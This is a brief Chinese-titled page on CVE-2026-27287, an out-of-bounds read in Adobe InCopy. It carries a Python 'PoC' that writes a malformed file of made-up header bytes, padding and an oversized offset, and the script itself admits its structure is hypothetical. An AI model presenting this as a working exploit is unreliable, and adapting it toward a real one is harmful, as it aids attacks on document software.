CVE-2026-27287 Adobe InCopy越界读取漏洞

import struct # PoC for CVE-2026-27287 (Conceptual) # This script generates a malformed file intended to trigger the out-of-bounds read. # Note: Actual file format structures for Adobe InCopy are proprietary and complex. # This is a generic template demonstrating the payload creation concept. def generate_malicious_file(filename): # Simulating a crafted file header header = b"\x06\x06\xED\xF5" # Example magic bytes # Constructing a specific pattern that might trigger the parser bug # The vulnerability occurs when parsing crafted data, causing OOB read. malformed_chunk = b"A" * 100 # Padding # Crafting a specific offset or length field (Hypothetical) # This value might cause the parser to read past the buffer evil_offset = struct.pack('<I', 0xFFFFFFFF) with open(filename, 'wb') as f: f.write(header) f.write(malformed_chunk) f.write(evil_offset) print(f"[+] Malicious file '{filename}' generated successfully.") print("[+] To test: Open this file in a vulnerable version of Adobe InCopy.") if __name__ == "__main__": generate_malicious_file("exploit_CVE-2026-27287.incd")